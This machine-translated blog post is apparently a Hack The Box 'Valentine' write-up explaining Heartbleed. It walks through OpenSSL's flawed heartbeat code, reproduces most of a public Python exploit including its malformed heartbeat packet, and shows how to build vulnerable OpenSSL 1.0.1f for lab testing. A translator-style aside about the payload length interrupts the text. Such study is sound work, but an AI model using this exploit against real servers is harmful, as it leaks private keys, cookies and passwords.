\n\nThis page has been machine-translated from the original page.
\n
I enjoy studying security using “Hack The Box,” a penetration testing learning platform.\nMy Hack The Box rank at the time of writing is ProHacker.
\n![\"Hack](\"http://www.hackthebox.eu/badge/image/327080\"){kind=icon}
\nIn this article, I summarize what I learned about attacking the “Heartbleed (CVE-2014-0160)” vulnerability and how to remediate it for improved security, through solving a HackTheBox machine.
\n“Valentine,” the machine I tackled this time, is the first machine I ever solved on HackTheBox.\nAt the time I solved it with almost no knowledge, following along with a writeup, and I always regretted never fully understanding the exploitation of “Heartbleed (CVE-2014-0160).”
\nThat’s why I wrote this article — I wanted to properly understand Heartbleed exploitation.
\n\nThe content of this article is not intended to promote acts that violate social order.
\nPlease be aware in advance that attempting to attack environments other than your own or environments for which you have permission may violate the “Act on Prohibition of Unauthorized Computer Access” (Unauthorized Access Prohibition Act).
\nAll opinions expressed are my own and do not represent those of any organization I belong to.
\n\nThe theme of this article is to learn the details of the vulnerability through reproducing “Heartbleed (CVE-2014-0160).”\nTherefore, please note that this is not a pure writeup.
\n“Heartbleed” is the name of an OpenSSL vulnerability discovered in 2014 that caused widespread damage.\nAt the time, vulnerable versions of OpenSSL were widely deployed, which is why it resulted in real damage worldwide.
\n\n\nHeartbleed is a software bug in the open-source cryptographic library OpenSSL, discovered in April 2014. At the time, about 17% (~500,000) of web servers on the internet with certificates issued by trusted certificate authorities had the vulnerable Heartbeat extension enabled, potentially allowing server private keys, user session cookies, and passwords to be stolen.
\n\n
To actually perform the attack, we need to understand how the Heartbleed vulnerability is exploited.
\nHeartbleed exploits a bug in the “heartbeat” feature, introduced in OpenSSL 1.0.1, which is used to check that the communication peer is still running.
\nIn the “heartbeat” feature, confirmation data up to 64KB is sent to verify SSL connectivity.\nThe receiving side uses that data as-is in its response, and the sender confirms operation by receiving the response.
\nThe issue here is that the receiving side does not validate the size of the confirmation data.
\nThis bug causes a problem where setting a payload length larger than what was actually sent causes memory beyond the payload buffer to be read and returned in the heartbeat response.
\nBy exploiting this, server information can be extracted in unintended ways.\nThe frightening aspect of this vulnerability is not only that server information (including private keys) may leak, but also that traces of the information disclosure are difficult to detect.
\nFor users, there is essentially no recourse other than assuming a data breach occurred and changing passwords and similar credentials.
\nAccording to IPA: About Countermeasures for OpenSSL Vulnerability (CVE-2014-0160), the following versions of OpenSSL are affected:
\nSo I decided to read the problematic code from openssl/openssl: TLS/SSL and crypto library.
\nAfter cloning the OpenSSL repository, running git checkout refs/tags/OpenSSL_1_0_1f moves you to the problematic branch.
Searching the old source code for the string “heartbeat” revealed the problematic function.
\nLet’s read through this problematic code now.
\n# t1_lib.c\n\n#ifndef OPENSSL_NO_HEARTBEATS\nint tls1_process_heartbeat(SSL *s)\n{\nunsigned char *p = &s->s3->rrec.data[0], *pl;\nunsigned short hbtype;\nunsigned int payload;\nunsigned int padding = 16; /* Use minimum padding */\n\n/* Read type and payload length first */\n // 1. Retrieve the first byte of received data as hbtype\nhbtype = *p++;\n \n // 2. Retrieve bytes 2-3 of received data as payload (payload length)\nn2s(p, payload);\npl = p;\n...\n if (hbtype == TLS1_HB_REQUEST)\n{\n ...\nbuffer = OPENSSL_malloc(1 + 2 + payload + padding);\nbp = buffer;\n\n/* Enter response type, length and copy payload */\n*bp++ = TLS1_HB_RESPONSE;\ns2n(payload, bp);\n \n // 3. memcpy - reads information beyond the intended address\nmemcpy(bp, pl, payload);\nbp += payload;\n\n...I have added comments for readability.
\nHere are the items to examine next.
\nThe first byte of the heartbeat data contains a number indicating whether the data is a request or a response, and this is retrieved.\nSpecifically, it is defined in ssl_3.h as follows:
\n; ssl_3.h\n#define TLS1_HB_REQUEST1\n#define TLS1_HB_RESPONSE2Next, bytes 2 and 3 of the received data are retrieved using the n2s() macro and stored in payload.
#define n2s(c,s)( ( s = (((unsigned int)(c[0]))<< 8) | (((unsigned int)(c[1]))) ) , c+=2)I wondered why this was being done. It turns out that bytes 2 and 3 of the received data contain the total length of the payload.\nReference: Heartbleed Bug Explained
\nIn other words, passing this payload length directly to memcpy without validation causes information from unintended memory regions to be included in the response.\nReference: ARR33-C. Guarantee that copies are made into storage of sufficient size
\nWith this, we have a rough understanding of the vulnerability mechanism, but one question remains:\nWhy is the maximum amount of information obtainable in a single Heartbleed exploit said to be 64KB?
\nThis is because the payload length field is 2 bytes.\nThe maximum value that can be inserted into a 2-byte payload length field in hexadecimal is FFFF.
\nSince 2 bytes = 16 bits can represent addresses up to 64KB, the maximum information retrievable in one Heartbleed exploit is also 64KB.
\nNow that we have a grasp of Heartbleed, let’s actually exploit this vulnerability to solve the HackTheBox Easy machine Valentine.
\nHowever, since the theme this time is to reproduce the Heartbleed attack, I’ll skip most of the machine-solving procedure.\nFor detailed machine solution steps, I recommend Hack The Box[Valentine] -Writeup- - Qiita by yukitsukai47, which is very clear.
\nI’d like to understand the actual exploitation method by looking at publicly available exploit code.
\nThe exploit code is based on exploit-db.com/exploits/32764.
\nI won’t paste the entire code here, so please refer to that page as needed.
\nLet me start by reading the main function to get a sense of the attack flow.
\ndef main():\n # 1. Receiving arguments\nopts, args = options.parse_args()\nif len(args) < 1:\noptions.print_help()\nreturn\n \n # 2. Establish connections for each version and execute create_hello\nfor i in range(len(version)):\nprint 'Trying ' + version[i][0] + '...'\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nprint 'Connecting...'\nsys.stdout.flush()\ns.connect((args[0], opts.port))\nprint 'Sending Client Hello...'\nsys.stdout.flush()\ns.send(create_hello(version[i][1]))\nprint 'Waiting for Server Hello...'\nsys.stdout.flush()\n \n # 3. Various response checks\nwhile True:\ntyp, ver, pay = recvmsg(s)\nif typ == None:\nprint 'Server closed connection without sending Server Hello.'\nreturn\n# Look for server hello done message.\nif typ == 22 and ord(pay[0]) == 0x0E:\nbreak\n \n# 4. Sending the exploit\nprint 'Sending heartbeat request...'\nsys.stdout.flush()\ns.send(create_hb(version[i][1]))\nif hit_hb(s,create_hb(version[i][1])):\n#Stop if vulnerable\nbreak\n\nif __name__ == '__main__':\nmain()Execution without arguments is not possible.\nArguments must specify the IP address of the target.
\nIt runs create_hello(version) for each version in a pre-defined version list.\ncreate_hello(version) is described later.
If each value from recvmsg(s) satisfies typ == 22 and ord(pay[0]) == 0x0E, it is treated as a received ServerHello and proceeds to send the payload.
recvmsg(s) is also described later.
Once the connection is confirmed, it sends the attack packet using create_hb(version[i][1]) and displays the information from the response packet.
create_hb(version[i][1]) is also described later.
Let’s look at each function’s processing.
\nFirst is the create_hello function.
\ndef h2bin(x):\nreturn x.replace(' ', '').replace('\\n', '').decode('hex')\n\ndef create_hello(version):\nhello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + ''' 53\n43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf\nbd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00\n00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88\n00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c\nc0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09\nc0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44\nc0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c\nc0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11\n00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04\n03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19\n00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08\n00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13\n00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00\n00 0f 00 01 01\n''')\nreturn helloThe return value hello is the decoded version of the following byte code:
16 03 00 00 dc 01 00 00 d8 03 00 53\n43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf\nbd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00\n00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88\n00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c\nc0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09\nc0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44\nc0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c\nc0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11\n00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04\n03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19\n00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08\n00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13\n00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00\n00 0f 00 01 01This generates the packet data used for ClientHello.\nClientHello is always the first data sent at the start of a new handshake.
\nTo begin with, SSL data (records) consist of a 5-byte record header followed by data.\nReference: SSL Introduction with Sample Transaction and Packet Exchange - Cisco
\nIn the above data, 16 03 00 00 dc is the record header.\nThe leading 0x16 indicates that the Type is Handshake (22, 0x16).
Next, the 2 bytes inserted as version refer to the Record Version.\nSince 03 00 is specified, it is interpreted as SSL Version 3 (SSLv3).
The final 2 bytes are the Length, specifying the size of the record.
The data portion should contain the following information sent in ClientHello:
\nHaving sent the generated ClientHello, a ServerHello is returned.
\nrecvmsg(s) retrieves this information.\nThis function displayed the following information:
Waiting for Server Hello...\n ... received message: type = 22, ver = 0301, length = 66\n ... received message: type = 22, ver = 0301, length = 885\n ... received message: type = 22, ver = 0301, length = 331\n ... received message: type = 22, ver = 0301, length = 4The ServerHello structure is the same as ClientHello.\nFrom the record header, it retrieves the handshake Type, SSL version, and data length.
\nHowever, while the structure of ServerHello is the same as ClientHello, its data portion contains information determined by the server (such as SessionID).
\nAlso, the ClientHello sent 03 00 for the SSL version, but 03 01 was returned in the ServerHello.
This is because the server doesn’t necessarily need to support the exact same version as the client.\nThe server expects the client to be compatible with its version and returns a response accordingly.
\nThis confirmed that a connection could be established. Since we don’t need to complete the full SSL handshake here, we break as soon as information indicating ServerHello completion is found in the data portion.
\n# Look for server hello done message.\nif typ == 22 and ord(pay[0]) == 0x0E:\nbreakNow that SSL connectivity is confirmed, we finally send the malicious heartbeat packet to extract data.
\nFinally, here is the part that sends the attack packet.\nLet’s look at the hit_hb function that checks the response at the same time.
\ndef create_hb(version):\nhb = h2bin('18 ' + version + ' 00 03 01 40 00')\nreturn hb\n\ndef hit_hb(s,hb):\ns.send(hb)\nwhile True:\ntyp, ver, pay = recvmsg(s)\nif typ is None:\nprint 'No heartbeat response received, server likely not vulnerable'\nreturn False\n\nif typ == 24:\nprint 'Received heartbeat response:'\nhexdump(pay)\nif len(pay) > 3:\nprint 'WARNING: server returned more data than it should - server is vulnerable!'\nelse:\nprint 'Server processed malformed heartbeat, but did not return any extra data.'\nreturn True\n\nif typ == 21:\nprint 'Received alert:'\nhexdump(pay)\nprint 'Server returned error, likely not vulnerable'\nreturn False\n \ndef main():\n ...\nprint 'Sending heartbeat request...'\nsys.stdout.flush()\ns.send(create_hb(version[i][1]))\nif hit_hb(s,create_hb(version[i][1])):\n#Stop if vulnerable\nbreaks.send(create_hb(version[i][1])) sends the generated heartbeat byte sequence.
What is sent is the byte sequence 18 03 00 00 03 01 40 00.\nThe content has nearly the same structure as the record header described earlier.
The leading 18 indicates this is a heartbeat extension, and 03 00 tells the server to use SSL 3.0 protocol.
00 03 means the following data payload is 3 bytes.\nThe final 01 40 00 is the Heartbeat Type and payload length described in Reading the Problematic OpenSSL Code.
Since the first byte is 01, this is a heartbeat request packet.\nAnd since the next 2 bytes are 40 00, the server mistakenly believes this heartbeat request is 16KB.
Wait — the byte listed is actually 40 00 = 16384 bytes (16 KB), not 1KB. Let me note: the source text says 04 00 = 1KB, but based on the create_hb code 01 40 00 the payload length is 40 00 = 16384 = 16KB. This discrepancy exists in the original article.
As for the hit_hb function that receives the response, it does nothing special.\nIt only outputs the packet in hexdump format when it confirms that a valid heartbeat response has been received, based on the record header of the response packet.
\nWith this, we successfully extracted server-side information via Heartbleed, and were able to retrieve the machine’s credentials!
\nValentine is a Retired machine, so playing it requires a paid HackTheBox subscription (around 1,000 yen/month).
\nHere I summarize how to obtain a vulnerable version of OpenSSL for those who want to test Heartbleed themselves without subscribing.
\nThere are various ways to obtain a vulnerable OpenSSL version, such as using older OS or Docker images, or directly building an older OpenSSL version.
\nHere I’ll introduce building an older OpenSSL version directly.
\nThe general process is as follows:
\nFirst, clone the OpenSSL repository into a tmp directory of a Docker container you’ve set up, and switch to the vulnerable version’s branch.
\ngit clone https://github.com/openssl/openssl\ncd openssl\ngit checkout -b tag refs/tags/OpenSSL_1_0_1fNext, build OpenSSL.\nIn my environment, there was an issue with man page installation, so I used make install_sw to skip man page installation.
./config --openssldir=/tmp\nmake\nmake install_swAfter the build completes, programs are placed in the apps directory.\nChecking the version confirms that OpenSSL 1.0.1f was built as expected.
root@3d6a898953b4:/tmp/openssl/apps# ./openssl version\nOpenSSL 1.0.1f 6 Jan 2014With this, you can now test Heartbleed in your local environment.
\nDepending on your environment, you may get an error error while loading shared libraries: libssl.so.3 and be unable to run it.
In that case, use the following commands to fix it:
\nln -s libssl.so.3 libssl.so\nldconfigUsing the -tlsextdebug option of an older OpenSSL that has the heartbeat feature, you can check whether the target server has the Heartbleed vulnerability.
Below is the command and an example of its output.\nThe line TLS server extension \"heartbeat\" (id=15), len=1 shows that the heartbeat extension is running.
./openssl s_client -connect 10.10.10.79:443 -tlsextdebug\n\nCONNECTED(00000003)\nTLS server extension \"renegotiation info\" (id=65281), len=1\n0001 - <SPACES/NULS>\nTLS server extension \"EC point formats\" (id=11), len=4\n0000 - 03 00 01 02 ....\nTLS server extension \"session ticket\" (id=35), len=0\nTLS server extension \"heartbeat\" (id=15), len=1\n0000 - 01 .\ndepth=0 C = US, ST = FL, O = valentine.htb, CN = valentine.htb\nverify error:num=18:self signed certificate\nverify return:1\ndepth=0 C = US, ST = FL, O = valentine.htb, CN = valentine.htb\nverify error:num=10:certificate has expired\nnotAfter=Feb 6 00:45:25 2019 GMT\nverify return:1\ndepth=0 C = US, ST = FL, O = valentine.htb, CN = valentine.htb\nnotAfter=Feb 6 00:45:25 2019 GMT\nverify return:1\n---Adding -msg sends a Heartbleed request from OpenSSL and allows you to see the response.
./openssl s_client -connect 10.10.10.79:443 -tlsextdebug -msg\n\n---\nB\nHEARTBEATING\n>>> TLS 1.2 [length 0025], HeartbeatRequest\n 01 00 12 00 00 87 59 cd ed cf e6 27 84 05 2c 2c\n 47 5a 51 7f d9 e5 51 a8 47 f7 01 24 35 54 f1 3d\n b6 25 bf 64 cb\n<<< TLS 1.2 [length 0025], HeartbeatResponse\n 02 00 12 00 00 87 59 cd ed cf e6 27 84 05 2c 2c\n 47 5a 51 7f d9 67 e6 79 58 b7 b9 46 f0 82 b6 76\n a5 cb 75 d1 1a\nread R BLOCKAs shown above, 00 12 bytes of data starting with 01 are sent, and the server returns a heartbeat response starting with 02 containing exactly the same data.
I did a deep dive into the Heartbleed vulnerability via Valentine, the first machine I ever solved on HackTheBox.
\nI always regretted having solved it without understanding anything, just running existing exploit code, so I’m glad I was able to relearn it this time.
\nI got to read OpenSSL source code for the first time and revisit the details of SSL connections in depth — it was extremely educational.
\nI hope to continue writing explanatory articles with a specific theme like this.
\n